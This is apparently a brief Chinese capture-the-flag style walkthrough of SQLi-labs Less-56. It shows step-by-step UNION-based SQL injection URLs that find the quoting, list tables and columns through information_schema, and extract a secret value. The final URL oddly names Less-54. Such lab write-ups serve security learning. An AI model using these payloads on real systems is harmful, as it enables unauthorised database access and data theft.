chicken dinner!让我们继续吧~

e8b97cb7f483ea20b3b666353514bdd.png

http://sqlilabs/Less-56/?id=1' 回显错误
http://sqlilabs/Less-56/?id=1'%23 回显错误
http://sqlilabs/Less-56/?id=1')%23 回显正常

http://sqlilabs/Less-56/?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23

得到表名:a8yq9aa91z

http://sqlilabs/Less-56/?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='a8yq9aa91z'),3%23

得到列名:id,sessid,secret_W4YU,tryy

http://sqlilabs/Less-54/?id=-1') union select 1,(select group_concat(secret_W4YU) from a8yq9aa91z),3%23

得到密码:U8xUjN0vel0kzfTr5XOqtiG5

Get it!!!

cec6b90f8fd418ea66eec3b5f6c3b09.png

:D